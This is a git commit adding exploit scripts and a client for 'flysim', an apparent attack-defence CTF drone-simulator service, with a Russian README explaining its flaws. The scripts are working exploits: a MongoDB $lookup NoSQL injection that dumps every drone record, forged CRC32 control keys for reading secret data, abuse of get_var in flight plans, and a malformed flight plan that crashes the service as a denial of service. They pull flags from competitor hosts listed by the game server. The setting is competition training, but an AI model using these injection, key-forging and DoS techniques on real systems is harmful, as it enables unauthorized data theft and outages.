adding validated services? patching forcad_local.py
This commit is contained in:
26
ctfcup24-school-ad/sploits/flysim/README.md
Normal file
26
ctfcup24-school-ad/sploits/flysim/README.md
Normal file
@@ -0,0 +1,26 @@
|
||||
## Сервис `flysim`
|
||||
Сервис представляет собой приложение на Python (Flask, SocketIO, gunicorn), симулирующее работу дронов - можно создать дрон, назначить ему скорость, полётный план (на какой секунде ускориться, поменять частоту) и наблюдать за его полётом (изменяются координаты каждый тик ~1сек). "Наблюдение" идёт через socket.io (websocket или polling).
|
||||
Флаг хранится в поле `secret_data`, и его можно узнать, лишь подключившись к дрону по socket.io с правильным `control_key` (штатным образом, без использования уязвимостей).
|
||||
Также присутствует функциональность получения всех созданных дронов (только id) и более детальный интерфейс (можно найти дрон с определённым label, причём получить все его данные за исключением приватных ("control_key", "secret_data", "flight_plan", "flight_log")).
|
||||
|
||||
## Уязвимости сервиса `flysim`
|
||||
1. NoSQL injection в параметре what= (`sploit_nosql.py`). Помимо "$match", можно дописать и "$lookup", сматчив все строки (`{"$match": {"label": {"$regex": "^.*"}}}`).
|
||||
2. CRC32 используется в `session_authenticator.generate(drone_id, label)` (это можно понять, отреверсив .so-шник, скомпиленный codon-ом) (`sploit_crc32.py`)
|
||||
3. В flight plan можно вызвать get_var (`sploit_flight_plan.py`) помимо "стандартных" операций типа BOOSTX/BOOSTY/FIRE/SETFREQ, `func = globals().get(command_name)` - get_var входит в globals.
|
||||
|
||||
## DoS
|
||||
`./client create --label asdf --flight-plan "BOOSTX [drone] 200\nBOOSTY [drone] 400\n"` (намеренно пропущено время запуска: не `0 BOOSTX [drone] 200`, а `BOOSTX [drone] 200`)
|
||||
Приведёт к ошибке:
|
||||
```
|
||||
flysim_1 | Traceback (most recent call last):
|
||||
flysim_1 | File "src/gevent/greenlet.py", line 900, in gevent._gevent_cgreenlet.Greenlet.run
|
||||
flysim_1 | File "/app/server.py", line 214, in run_update_positions
|
||||
flysim_1 | update_positions()
|
||||
flysim_1 | File "/app/server.py", line 176, in update_positions
|
||||
flysim_1 | process_flight_plan(drone, cur_time)
|
||||
flysim_1 | File "/app/flight_plans.py", line 50, in process_flight_plan
|
||||
flysim_1 | expected_time = int(parts[0])
|
||||
flysim_1 | ^^^^^^^^^^^^^
|
||||
flysim_1 | ValueError: invalid literal for int() with base 10: 'BOOSTX'
|
||||
```
|
||||
При этом цикл, отвечающий за обновление данных обо всех дронах и рассылку сообщений в socket.io-комнаты, перестанет работать и чекер будет timeout-ится в ожидании сообщения, которое не поступит.
|
||||
31
ctfcup24-school-ad/sploits/flysim/client/USAGE.txt
Normal file
31
ctfcup24-school-ad/sploits/flysim/client/USAGE.txt
Normal file
@@ -0,0 +1,31 @@
|
||||
create drone:
|
||||
./client create --ip 10.80.1.2
|
||||
|
||||
you can also specify label and (or) flight plan
|
||||
./client create --ip 10.80.1.2 --label asdf --flight-plan "1 BOOSTX [drone] 200\n55 BOOSTY [drone] 400\n"
|
||||
|
||||
connect:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f"
|
||||
|
||||
connect with setting position and (or) velocity:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --position 0 0 --velocity 1 2
|
||||
|
||||
by default, client keeps connection for 30 seconds. if you need more, add --duration:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --duration 9999
|
||||
|
||||
list drones (only ids):
|
||||
./client list-drones --ip 10.80.1.2
|
||||
|
||||
list drones (detailed):
|
||||
./client list-drones-details --ip 10.80.1.2
|
||||
|
||||
list details but only for one drone (by label):
|
||||
./client list-drones-details --ip 10.80.1.2 --label p4MUiB5oEF5EHAnkMefO8
|
||||
|
||||
do not forget to use --help:
|
||||
|
||||
./client --help
|
||||
./client create --help
|
||||
./client connect --help
|
||||
./client list-drones --help
|
||||
./client list-drones-details --help
|
||||
10
ctfcup24-school-ad/sploits/flysim/client/building.txt
Normal file
10
ctfcup24-school-ad/sploits/flysim/client/building.txt
Normal file
@@ -0,0 +1,10 @@
|
||||
sudo apt install python3.12-venv
|
||||
|
||||
python3.12 -m venv flysim_client
|
||||
source flysim_client/bin/activate
|
||||
pip3.12 install -r requirements.txt
|
||||
pip3.12 install pyinstaller staticx
|
||||
|
||||
python3.12 -m PyInstaller --onefile client
|
||||
staticx dist/client dist/client_static
|
||||
# dist/client_static is the file you need
|
||||
113
ctfcup24-school-ad/sploits/flysim/client/client
Executable file
113
ctfcup24-school-ad/sploits/flysim/client/client
Executable file
@@ -0,0 +1,113 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import click
|
||||
import drone_client
|
||||
import json
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
|
||||
class OrderedGroup(click.Group):
|
||||
def list_commands(self, ctx):
|
||||
# Return commands in the order they are defined
|
||||
return self.commands.keys()
|
||||
|
||||
|
||||
@click.group(cls=OrderedGroup)
|
||||
def cli():
|
||||
"""Drone Control CLI"""
|
||||
pass
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
@click.option("--label", help="Drone label")
|
||||
@click.option("--secret-data", help="Secret data for the drone")
|
||||
@click.option("--flight-plan", help="Flight plan for the drone")
|
||||
def create(ip, label, secret_data, flight_plan):
|
||||
"""Create a new drone"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
|
||||
if not client.create_drone(
|
||||
label=label,
|
||||
secret_data=secret_data,
|
||||
flight_plan=flight_plan.replace(r"\n", "\n") if flight_plan else None,
|
||||
):
|
||||
click.echo("Failed to create drone")
|
||||
return
|
||||
|
||||
credentials = {
|
||||
"drone_id": client.drone_id,
|
||||
"control_key": client.control_key,
|
||||
"ip": ip,
|
||||
}
|
||||
|
||||
click.echo(f"Drone created successfully:")
|
||||
click.echo(f"Drone ID: {client.drone_id}")
|
||||
click.echo(f"Control Key: {client.control_key}")
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
@click.option("--drone-id", required=True, help="Drone ID")
|
||||
@click.option("--control-key", required=True, help="Control key")
|
||||
@click.option("--position", type=(float, float), help="Position coordinates (x, y)")
|
||||
@click.option("--velocity", type=(float, float), help="Velocity vector (vx, vy)")
|
||||
@click.option(
|
||||
"--duration", default=30, help="Duration to keep connection alive (seconds)"
|
||||
)
|
||||
def connect(ip, drone_id, control_key, position, velocity, duration):
|
||||
"""Connect to an existing drone"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
client.drone_id = drone_id
|
||||
client.control_key = control_key
|
||||
|
||||
if not client.connect_to_drone():
|
||||
click.echo("Failed to connect to drone")
|
||||
return
|
||||
|
||||
click.echo(f"Connected to drone {drone_id}")
|
||||
|
||||
if position:
|
||||
client.update_position(list(position))
|
||||
click.echo(f"Updated position to {position}")
|
||||
|
||||
if velocity:
|
||||
client.update_velocity(list(velocity))
|
||||
click.echo(f"Updated velocity to {velocity}")
|
||||
|
||||
click.echo(f"Keeping connection alive for {duration} seconds...")
|
||||
time.sleep(duration)
|
||||
|
||||
client.disconnect()
|
||||
click.echo("Disconnected from drone")
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
def list_drones(ip):
|
||||
"""List all available drones"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
client.get_all_drones()
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
@click.option(
|
||||
"--label",
|
||||
"label",
|
||||
help="Target drone label. If label is not specified, all drones are shown.",
|
||||
)
|
||||
def list_drones_details(ip, label):
|
||||
"""List drone(s) with detailed information"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
if label:
|
||||
print(
|
||||
client.get_drones_with_details(json.dumps([{"$match": {"label": label}}]))
|
||||
)
|
||||
else:
|
||||
print(client.get_drones_with_details(json.dumps([{"$match": {}}])))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
135
ctfcup24-school-ad/sploits/flysim/client/drone_client.py
Normal file
135
ctfcup24-school-ad/sploits/flysim/client/drone_client.py
Normal file
@@ -0,0 +1,135 @@
|
||||
import socketio
|
||||
import requests
|
||||
import time
|
||||
import json
|
||||
from threading import Event
|
||||
|
||||
|
||||
# def print(*args, **kwargs):
|
||||
# pass # disable print
|
||||
|
||||
|
||||
class DroneClient:
|
||||
def __init__(self, ip="127.0.0.1"):
|
||||
sio = socketio.Client()
|
||||
self.base_url = f"http://{ip}:9000/"
|
||||
self.sio = sio
|
||||
|
||||
self.drone_id = None
|
||||
self.control_key = None
|
||||
self.data_received_event = Event()
|
||||
self.last_received_data = None
|
||||
|
||||
self.velocity_updated_event = Event()
|
||||
self.last_received_veldata = None
|
||||
|
||||
self.position_updated_event = Event()
|
||||
self.last_received_posdata = None
|
||||
|
||||
@sio.on("connect")
|
||||
def on_connect():
|
||||
print("Connected to server")
|
||||
|
||||
@sio.on("disconnect")
|
||||
def on_disconnect():
|
||||
print("Disconnected from server")
|
||||
|
||||
@sio.on("drone_connected")
|
||||
def on_drone_connected(data):
|
||||
print(f"Drone connection status: {data['data']}")
|
||||
|
||||
@sio.on("data_updated")
|
||||
def on_data_updated(data):
|
||||
print(data)
|
||||
if isinstance(data, dict):
|
||||
self.last_received_data = data
|
||||
self.data_received_event.set()
|
||||
|
||||
@sio.on("velocity_updated")
|
||||
def on_velocity_updated(data):
|
||||
print(data)
|
||||
if isinstance(data, dict):
|
||||
self.last_received_veldata = data
|
||||
self.velocity_updated_event.set()
|
||||
|
||||
@sio.on("position_updated")
|
||||
def on_position_updated(data):
|
||||
print(data)
|
||||
if isinstance(data, dict):
|
||||
self.last_received_posdata = data
|
||||
self.position_updated_event.set()
|
||||
|
||||
@sio.on("error")
|
||||
def on_error(data):
|
||||
print(f"Error: {data['data']}")
|
||||
|
||||
def wait_for_data_msg(self, timeout=None):
|
||||
self.data_received_event.clear()
|
||||
if self.data_received_event.wait(timeout):
|
||||
return self.last_received_data
|
||||
return None
|
||||
|
||||
def wait_for_vel_msg(self, timeout=None):
|
||||
self.velocity_updated_event.clear()
|
||||
if self.velocity_updated_event.wait(timeout):
|
||||
return self.last_received_veldata
|
||||
return None
|
||||
|
||||
def wait_for_pos_msg(self, timeout=None):
|
||||
self.position_updated_event.clear()
|
||||
if self.position_updated_event.wait(timeout):
|
||||
return self.last_received_posdata
|
||||
return None
|
||||
|
||||
def create_drone(self, label=None, secret_data=None, flight_plan=None):
|
||||
response = requests.post(
|
||||
f"{self.base_url}/create_drone",
|
||||
timeout=8000,
|
||||
json={}
|
||||
| ({"label": label} if label else {})
|
||||
| ({"secret_data": secret_data} if secret_data else {})
|
||||
| ({"flight_plan": flight_plan} if flight_plan else {}),
|
||||
)
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
self.drone_id = data["id"]
|
||||
self.control_key = data["control_key"]
|
||||
print(
|
||||
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
|
||||
)
|
||||
return True
|
||||
else:
|
||||
print(f"Failed to create drone: {response.text}")
|
||||
return False
|
||||
|
||||
def get_all_drones(self):
|
||||
response = requests.get(f"{self.base_url}/get_drones")
|
||||
print("All drones:", response.json())
|
||||
|
||||
def get_drones_with_details(self, with_what_details):
|
||||
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
|
||||
return response.json()
|
||||
|
||||
def connect_to_drone(self):
|
||||
try:
|
||||
self.sio.connect(self.base_url, socketio_path="/socket.io")
|
||||
self.sio.emit(
|
||||
"join_drone",
|
||||
{"drone_id": self.drone_id, "control_key": self.control_key},
|
||||
)
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection error: {e}")
|
||||
return False
|
||||
|
||||
def update_position(self, position):
|
||||
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
|
||||
|
||||
def update_velocity(self, velocity):
|
||||
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
|
||||
|
||||
def disconnect(self):
|
||||
try:
|
||||
self.sio.disconnect()
|
||||
except Exception as e:
|
||||
print(f"Disconnection error: {e}")
|
||||
@@ -0,0 +1,4 @@
|
||||
requests==2.32.3
|
||||
python-socketio==5.11.4
|
||||
websocket-client==1.8.0
|
||||
click==8.1.7
|
||||
132
ctfcup24-school-ad/sploits/flysim/drone_client.py
Normal file
132
ctfcup24-school-ad/sploits/flysim/drone_client.py
Normal file
@@ -0,0 +1,132 @@
|
||||
import socketio
|
||||
import requests
|
||||
import time
|
||||
import json
|
||||
from threading import Event
|
||||
|
||||
|
||||
def print(*args, **kwargs):
|
||||
pass # disable print
|
||||
|
||||
|
||||
class DroneClient:
|
||||
def __init__(self, ip="127.0.0.1"):
|
||||
sio = socketio.Client()
|
||||
self.base_url = f"http://{ip}:9000/"
|
||||
self.sio = sio
|
||||
|
||||
self.drone_id = None
|
||||
self.control_key = None
|
||||
self.data_received_event = Event()
|
||||
self.last_received_data = None
|
||||
|
||||
self.velocity_updated_event = Event()
|
||||
self.last_received_veldata = None
|
||||
|
||||
self.position_updated_event = Event()
|
||||
self.last_received_posdata = None
|
||||
|
||||
@sio.on("connect")
|
||||
def on_connect():
|
||||
print("Connected to server")
|
||||
|
||||
@sio.on("disconnect")
|
||||
def on_disconnect():
|
||||
print("Disconnected from server")
|
||||
|
||||
@sio.on("drone_connected")
|
||||
def on_drone_connected(data):
|
||||
print(f"Drone connection status: {data['data']}")
|
||||
|
||||
@sio.on("data_updated")
|
||||
def on_data_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_data = data
|
||||
self.data_received_event.set()
|
||||
|
||||
@sio.on("velocity_updated")
|
||||
def on_velocity_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_veldata = data
|
||||
self.velocity_updated_event.set()
|
||||
|
||||
@sio.on("position_updated")
|
||||
def on_position_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_posdata = data
|
||||
self.position_updated_event.set()
|
||||
|
||||
@sio.on("error")
|
||||
def on_error(data):
|
||||
print(f"Error: {data['data']}")
|
||||
|
||||
def wait_for_data_msg(self, timeout=None):
|
||||
self.data_received_event.clear()
|
||||
if self.data_received_event.wait(timeout):
|
||||
return self.last_received_data
|
||||
return None
|
||||
|
||||
def wait_for_vel_msg(self, timeout=None):
|
||||
self.velocity_updated_event.clear()
|
||||
if self.velocity_updated_event.wait(timeout):
|
||||
return self.last_received_veldata
|
||||
return None
|
||||
|
||||
def wait_for_pos_msg(self, timeout=None):
|
||||
self.position_updated_event.clear()
|
||||
if self.position_updated_event.wait(timeout):
|
||||
return self.last_received_posdata
|
||||
return None
|
||||
|
||||
def create_drone(self, label=None, secret_data=None, flight_plan=None):
|
||||
response = requests.post(
|
||||
f"{self.base_url}/create_drone",
|
||||
timeout=8000,
|
||||
json={}
|
||||
| ({"label": label} if label else {})
|
||||
| ({"secret_data": secret_data} if secret_data else {})
|
||||
| ({"flight_plan": flight_plan} if flight_plan else {}),
|
||||
)
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
self.drone_id = data["id"]
|
||||
self.control_key = data["control_key"]
|
||||
print(
|
||||
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
|
||||
)
|
||||
return True
|
||||
else:
|
||||
print(f"Failed to create drone: {response.text}")
|
||||
return False
|
||||
|
||||
def get_all_drones(self):
|
||||
response = requests.get(f"{self.base_url}/get_drones")
|
||||
print("All drones:", response.json())
|
||||
|
||||
def get_drones_with_details(self, with_what_details):
|
||||
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
|
||||
return response.json()
|
||||
|
||||
def connect_to_drone(self):
|
||||
try:
|
||||
self.sio.connect(self.base_url, socketio_path="/socket.io")
|
||||
self.sio.emit(
|
||||
"join_drone",
|
||||
{"drone_id": self.drone_id, "control_key": self.control_key},
|
||||
)
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection error: {e}")
|
||||
return False
|
||||
|
||||
def update_position(self, position):
|
||||
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
|
||||
|
||||
def update_velocity(self, velocity):
|
||||
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
|
||||
|
||||
def disconnect(self):
|
||||
try:
|
||||
self.sio.disconnect()
|
||||
except Exception as e:
|
||||
print(f"Disconnection error: {e}")
|
||||
12
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/build.sh
Executable file
12
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/build.sh
Executable file
@@ -0,0 +1,12 @@
|
||||
#!/bin/sh
|
||||
# https://github.com/exaloop/codon
|
||||
|
||||
rm -rf build
|
||||
rm -rf *.so
|
||||
python3 setup.py build_ext --inplace
|
||||
rm -rf build
|
||||
mv session_authenticator.cpython*.so session_authenticator.so
|
||||
echo "Testing"
|
||||
python3 -c "import session_authenticator; print(session_authenticator.generate('a', 'bc'))"
|
||||
|
||||
# you need only session_authenticator.so file
|
||||
@@ -0,0 +1,21 @@
|
||||
import time
|
||||
def generate_control_key(_id: str, label: str) -> str:
|
||||
msg = _id + label
|
||||
crc = 0xFFFFFFFF
|
||||
polynomial = 0xEDB88320
|
||||
|
||||
for char in msg:
|
||||
crc ^= ord(char)
|
||||
for _ in range(8):
|
||||
if crc & 1:
|
||||
crc = (crc >> 1) ^ polynomial
|
||||
else:
|
||||
crc >>= 1
|
||||
|
||||
return hex(crc ^ 0xFFFFFFFF)[2:]
|
||||
|
||||
def generate(_id: str, label: str) -> str:
|
||||
return generate_control_key(_id, label)
|
||||
|
||||
def verify(_id: str, label: str, control_key: str) -> bool:
|
||||
return generate_control_key(_id, label) == control_key
|
||||
91
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/setup.py
Executable file
91
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/setup.py
Executable file
@@ -0,0 +1,91 @@
|
||||
# setup.py
|
||||
import os
|
||||
import sys
|
||||
import shutil
|
||||
from pathlib import Path
|
||||
from setuptools import setup, Extension
|
||||
from setuptools.command.build_ext import build_ext
|
||||
|
||||
# Find Codon
|
||||
codon_path = os.environ.get('CODON_DIR')
|
||||
if not codon_path:
|
||||
c = shutil.which('codon')
|
||||
if c:
|
||||
codon_path = Path(c).parent / '..'
|
||||
else:
|
||||
codon_path = Path(codon_path)
|
||||
for path in [
|
||||
os.path.expanduser('~') + '/.codon',
|
||||
os.getcwd() + '/..',
|
||||
]:
|
||||
path = Path(path)
|
||||
if not codon_path and path.exists():
|
||||
codon_path = path
|
||||
break
|
||||
|
||||
if (
|
||||
not codon_path
|
||||
or not (codon_path / 'include' / 'codon').exists()
|
||||
or not (codon_path / 'lib' / 'codon').exists()
|
||||
):
|
||||
print(
|
||||
'Cannot find Codon.',
|
||||
'Please either install Codon (https://github.com/exaloop/codon),',
|
||||
'or set CODON_DIR if Codon is not in PATH.',
|
||||
file=sys.stderr,
|
||||
)
|
||||
sys.exit(1)
|
||||
codon_path = codon_path.resolve()
|
||||
print('Found Codon:', str(codon_path))
|
||||
|
||||
# Build with Codon
|
||||
class CodonExtension(Extension):
|
||||
def __init__(self, name, source):
|
||||
self.source = source
|
||||
super().__init__(name, sources=[], language='c')
|
||||
|
||||
class BuildCodonExt(build_ext):
|
||||
def build_extensions(self):
|
||||
pass
|
||||
|
||||
def run(self):
|
||||
inplace, self.inplace = self.inplace, False
|
||||
super().run()
|
||||
for ext in self.extensions:
|
||||
self.build_codon(ext)
|
||||
if inplace:
|
||||
self.copy_extensions_to_source()
|
||||
|
||||
def build_codon(self, ext):
|
||||
extension_path = Path(self.get_ext_fullpath(ext.name))
|
||||
build_dir = Path(self.build_temp)
|
||||
os.makedirs(build_dir, exist_ok=True)
|
||||
os.makedirs(extension_path.parent.absolute(), exist_ok=True)
|
||||
|
||||
codon_cmd = str(codon_path / 'bin' / 'codon')
|
||||
optimization = '-debug' if self.debug else '-release'
|
||||
self.spawn([codon_cmd, 'build', optimization, '--relocation-model=pic', '-pyext',
|
||||
'-o', str(extension_path) + ".o", '-module', ext.name, ext.source])
|
||||
|
||||
ext.runtime_library_dirs = [str(codon_path / 'lib' / 'codon')]
|
||||
self.compiler.link_shared_object(
|
||||
[str(extension_path) + '.o'],
|
||||
str(extension_path),
|
||||
libraries=['codonrt'],
|
||||
library_dirs=ext.runtime_library_dirs,
|
||||
runtime_library_dirs=ext.runtime_library_dirs,
|
||||
extra_preargs=['-Wl,-rpath,@loader_path'],
|
||||
debug=self.debug,
|
||||
build_temp=self.build_temp,
|
||||
)
|
||||
self.distribution.codon_lib = extension_path
|
||||
|
||||
setup(
|
||||
name='session_authenticator',
|
||||
version='0.1',
|
||||
packages=['session_authenticator'],
|
||||
ext_modules=[
|
||||
CodonExtension('session_authenticator', 'session_authenticator.codon'),
|
||||
],
|
||||
cmdclass={'build_ext': BuildCodonExt}
|
||||
)
|
||||
34
ctfcup24-school-ad/sploits/flysim/sploit_crc32.py
Executable file
34
ctfcup24-school-ad/sploits/flysim/sploit_crc32.py
Executable file
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
import zlib
|
||||
|
||||
|
||||
def droneid_to_drone_obj(client, drone_id):
|
||||
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
|
||||
for d in det:
|
||||
if d["id"] == drone_id:
|
||||
return d
|
||||
return None
|
||||
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
for drone_id in drone_ids[::-1]:
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
drone_obj = droneid_to_drone_obj(client, drone_id)
|
||||
client.drone_id = drone_id
|
||||
cont_key = hex(zlib.crc32((drone_id + drone_obj["label"]).encode()))[
|
||||
2:
|
||||
] # generate 'not so random' control_key
|
||||
client.control_key = cont_key
|
||||
client.connect_to_drone()
|
||||
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["secret_data"], flush=True)
|
||||
22
ctfcup24-school-ad/sploits/flysim/sploit_flight_plan.py
Executable file
22
ctfcup24-school-ad/sploits/flysim/sploit_flight_plan.py
Executable file
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
fp = "\n".join([f"0 get_var {d} secret_data" for d in drone_ids])
|
||||
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
client.create_drone(label="qweqwe11", secret_data="qweqwe", flight_plan=fp)
|
||||
client.connect_to_drone()
|
||||
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["flight_log"], flush=True)
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["flight_log"], flush=True)
|
||||
41
ctfcup24-school-ad/sploits/flysim/sploit_nosql.py
Executable file
41
ctfcup24-school-ad/sploits/flysim/sploit_nosql.py
Executable file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
|
||||
|
||||
def droneid_to_drone_obj(client, drone_id):
|
||||
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
|
||||
for d in det:
|
||||
if d["id"] == drone_id:
|
||||
return d
|
||||
return None
|
||||
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
for drone_id in drone_ids[::-1]:
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
drone_obj = droneid_to_drone_obj(client, drone_id)
|
||||
det = client.get_drones_with_details(
|
||||
json.dumps(
|
||||
[
|
||||
{"$match": {"label": drone_obj["label"]}},
|
||||
{
|
||||
"$lookup": {
|
||||
"from": "drones",
|
||||
"as": "result",
|
||||
"pipeline": [{"$match": {"label": {"$regex": "^.*"}}}],
|
||||
}
|
||||
},
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
print(det, flush=True)
|
||||
exit(0)
|
||||
Reference in New Issue
Block a user